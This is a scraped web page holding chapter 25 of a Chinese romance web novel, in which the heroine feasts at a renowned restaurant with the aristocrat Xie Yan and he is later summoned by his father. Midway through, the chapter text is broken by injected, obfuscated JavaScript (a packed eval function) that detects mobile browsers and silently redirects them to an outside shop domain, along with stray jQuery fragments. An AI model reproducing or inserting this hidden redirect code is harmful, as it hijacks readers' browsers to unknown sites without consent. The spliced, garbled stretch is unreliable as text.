文趣网 > 都市小说 > 高岭之花我手拿把掐 > 25. 第 25 章
    作为京中最具盛名的酒肆,临近夕食时分,丰乐楼门口便排起长龙。

    尤其秋日,那一道蟹酿橙更是曾被先帝赞为御宴首珍,即便是不太富裕的人家也愿攒够了银子,一家五六口分食一只,过一过嘴瘾。

    可偏偏丰乐楼仗着自家名气,规矩不少,光攒够了银钱可换不来一道蟹酿橙,需要提前十日下好订金,在到当日排在丰乐楼门前,等着按序入内。

    若是到的稍晚些,再加上前头人享用得仔细,在门口吹上几个时辰的秋风是常有的事。

    可一顶小轿穿过了排队的人群,才刚停在正门,丰乐楼的越掌柜就提着衣角,扬着小脸,客客气气的将轿中人请进了楼中。

    “诶?这是什么人?怎么这般正大光明的插队?”,有初次入京的游客愤愤不平。

    两旁排队的食客安慰:“你放心,他们每日都会给那些贵人们预留出食材来,不会少了你的。”

    另一个跟着张望一番后道:“我瞧着像是谢家的,丰乐楼就是人家开的,自然想来就来了。”

    入京的游客疑道:“那谢家又非王宫贵族,竟在京中这般势大吗?”

    于是他便在秋风中喜提了一出谢家史,从辅佐太祖,到代代位列三公,从姻亲遍京,到人才辈出。这眼见着谢家大公子也洗清了罪名,只等娶个名门贵女,夫妻同掌族务,成为名副其实的接班人,带着谢家再辉煌一代了。

    轻轻松松穿过人群,跟着谢琰踏入丰乐楼,被掌柜亲自领着走进雅间的阿蛮,也不由在心中惊叹:

    有些东西确实不是仅靠金钱就能买来的。挤在门口的那些食客是吃不起螃蟹,还是订不起雅间?但他们都只能干站在门口,而谢琰不过随手派出个贴身小厮,丰乐楼就紧赶慢赶制出了席面,由掌柜亲自接待。

    等谢琰挂着微笑,温文尔雅地将掌柜打发走,阿蛮终于忍不住发出了愤慨:

    “那掌柜的怎么对你那么谄媚,这丰乐楼是你家开的吗?”

    阿蛮这话是一句感叹,可谢琰却随意地点点头道:

    “确是族中的产业不假。”

    阿蛮这才对谢家的富贵有了一些切实的体会。

    她忽然觉得今日自己有点不懂事了,什么正妻还是妾室那重要吗?重要的是跟着谢琰,她能捞到多少好处呀。

    比起计较那些虚名,倒不如留在谢琰身边,见见市面,再争取多捞些油水。

    虽则她还是无法委屈自己同别人共享男人,但如今谢琰是干净清白的,等到他真娶妻生子了,她可以再卷铺走人也成呀。

    想通此节,阿蛮心中连最后一丝别扭也散了,低头看着这整整一桌的珍馐,第一次对着美食犹豫了起来。

    哎呀呀,她是先品鉴一下那传说中的蟹酿橙呢,还是先啃一口东坡肉呢?

    看着眼前吃的香甜,右手舀着蟹酿橙,左手抓着东坡肉的阿蛮,谢琰无奈地笑了起来。

    原本他想要等到没人的时候,好好跟阿蛮讲一讲规矩的。

    今日在宫中是歪打正着,在街上是他不计较,可日后遇到旁人,还是这般行事,不知要惹出多少事端。

    他不指望阿蛮为他打理家务,稳定后宅,也不指望她为他交际贵妇,人情往来。但好歹她不能得罪旁人,叫人笑话吧。

    他谢琰最终规矩脸面,今日叫阿蛮闹了几番,说不羞恼是假的。

    可阿蛮在他眼前,吃的那么香,笑的那么灿烂,他怎能忍心叫她扫了兴致呢?

    捏起帕子,为阿蛮蹭掉嘴角的油渍,谢琰也不由得胃口大开,头一次将碗中的米饭吃得见底,惊呆了一旁伺候的无垢。

    待到风卷残云般地将席面一扫而光,阿蛮终于舔着嘴唇摸了摸圆滚滚的肚皮。

    她这辈子还从未吃得这般痛快,这般满足。

    最令她满意的是,谢琰是个不大好吃的人。

    不仅早饭只捧碗茶汤,连夕食都只捡些清淡的菜叶勉强入口。哪怕是今日这桌调制精细的珍馐,谢琰也没动几口就放下了筷子,端着碗茶汤小口品了起来。

    于是同他吃饭,阿蛮便很是放松,不用着急忙慌地吞下食物,生怕有人从她口中抢食,可以慢下来细细品味美食了。

    酒足饭饱后,阿蛮这才想起了家中的小崽。

    自下午被嬷嬷待去花园中玩耍,阿蛮就不曾见过小崽,此时府中也定用过了晚膳,绝不会叫小崽挨饿,可阿蛮还是有几分背着人吃独食的心虚。

    “这蟹酿橙确是名不虚传啊,又甜又香,可若是带回家,这一路凉了,估计会很腻吧。”

    阿蛮盯着被自己消灭殆尽,只剩橙皮的那盅名菜,皱起了眉头。

    她阿蛮也是日子好起来了,竟有嫌弃食物放凉了发腻的时候了。

    谢琰却会错了阿蛮的意思,看着她那衣料下圆滚滚鼓出来的肚子,不赞成道:

    “饱食伤身,见你吃得香没拘着你,回家可不能再吃了!”

    阿蛮啧了一声,觉得很是冤枉:“我是那种会把肚子吃爆的饿死鬼吗?不是我要吃,我是想着给小崽带。”

    说着她就顺势开始埋怨起谢琰:“要收她为女可是你自己说的,你自家的闺女,你自己不想着,反倒要我操心,你这便宜爹当的可真是不称职。”

    他能认下小崽,难道是因他善心泛滥,爱四处认孩子玩吗?还不是为了给阿蛮在谢府中多争一份筹码。

    若非认为阿蛮是他长女的亲生母亲,谢府怎会认下阿蛮,便是他再据理力争,也只会多给阿蛮些银钱地产,将阿蛮打发的远远的。

    偏他的这番筹谋阿蛮半点也不领情,反而撅着小嘴指责起他来了。

    谁叫她这番胡搅蛮缠的模样可爱的紧,谢琰拿她无法,只得顺着她的意包了几个菜,叫无垢安排人趁热送回家去,让小崽也能尝尝鲜。

    这下阿蛮彻底满意了,看着谢琰长身玉立地站在那儿,从头到脚半分错也挑不出了。

    她扁扁嘴,迈开步子,放过了谢琰,率先大摇大摆地走出丰乐楼,钻进小轿中,靠着轿厢打起瞌睡。

    常听人说“温饱思淫//欲”,可她吃饱了饭,不想亲谢琰,只想找个地方歪头就睡。这是她与旁人有异,还是她淫的方法不对?

    想起谢琰说的那个,比亲嘴更加厉害的法子,阿蛮又撅了撅小嘴:

    说好了能混进谢府就告诉她的,偏她也被谢府的富贵迷了眼睛,竟忘了追问,回去一定要跟聂嬷嬷问个清楚。

    没头没脑地胡乱想着,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17563411|204618||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    在摇晃地小轿中,阿蛮的头越垂越低,一不小心就歪了下去,正倒在谢琰颈侧。

    似乎早已失去了从前的警觉,阿蛮竟未被惊醒,反而无意识地吧唧着嘴,找了个舒服地姿势,继续呼呼大睡。

    毛茸茸的脑袋在颈窝蹭来蹭去,挠得谢琰颈侧薄薄的肌肤泛起一层红晕,直烧到耳朵尖上。

    怪不得人都说“秋燥猛如虎”呢。

    在这密闭的空间中,他叫阿蛮一挨,只觉自己浑身都烧了起来。

    他感觉这些日子只喝梨水不太顶用了,还是回去洗个凉水澡吧。

    每日向母亲问安时,可要问问摆酒准备的如何,又定在了何日。

    等正式摆了酒,入了洞房,那才叫名正言顺,在那之前,还是克制些的好。

    这小轿中一个没心没肺,一个思虑杂乱,摇摇晃晃回到了谢府。

    “到家了,醒一醒,回屋了再睡。”,谢琰微微侧头,轻声叫醒了阿蛮。

    可阿蛮迷迷糊糊地,又在他颈间蹭来蹭去,一边蹭还一边拖着调子哼唧道:“不,我不想睁眼,你抱我回去吧。”

    又甜又腻的撒娇声钻进谢琰耳畔,叫他立时心跳漏了几下。

    阿蛮可从未在他面前这般柔声软语过,他神使鬼差地环住了阿蛮的腰侧。

    虽然在府中,这一路抱着她,必会叫家中下人看在眼中,实在是轻浮又无礼,可谢琰却无法狠心拒绝阿蛮第一次嗲声的请求。

    可正在此时,轿外响起了无垢的声音。

    “郎主。”

    紧接着,就是他父亲沉稳严肃的声音:“嗯。你家郎君回来了吗?”

    像是飘飘然的美梦中,兜头浇下一盆冷水,谢琰立刻收了手,将阿蛮的头靠在轿子上,自己抽身出来,恭谨地拜见父亲。

    “听闻长公主宣了你那妾室入宫?”,谢计相看着自己行事向来规矩的长子,看门见山地问。

    父亲行事向来和婉,又最重规矩,按理说不会当着众人的面,提及他房中的私事。既然此时问他,恐怕也是专门在此处等他。

    谢琰心下一紧,连忙躬身答话:“禀父亲,正是如此。长公主甚为喜爱王氏,将其奉为扬州慈幼局管事,捐了自己的妆奁出来,让王氏代为操持,福泽扬州孤儿。还让儿子重领扬州知州一职,全权负责缉拿王力,安定扬州一事。”

    这番详尽的回话一出,谢琰只觉父亲落在他身上的目光都轻快了几分。

    果然父亲的语气也松了些,点头道:“这是好事,平乱扬州后再回京就可更进一步了。如何平乱,你可有了计较?随我去书房吧。”

    谢琰躬着身子,等到谢计相转头向内,这才微微直了些身,向后给轿旁的无垢使了个眼色,示意无垢别跟上来,守在阿蛮身边,等他与父亲走了,再待阿蛮回院。

    不知为何,哪怕父亲眼见喜悦了起来,他还是不敢让阿蛮直接碰上父亲。

    父亲对阿蛮不甚满意,这是肯定的,可这几日母亲筹备摆酒之事,父亲也并未阻止,算是默认了下来。

    他如今他心中忽然止不住的打鼓。

    他总觉得这趟书房议事,重点不在扬州,而在阿蛮。

    若是父亲真命他舍弃阿蛮,他该怎么办?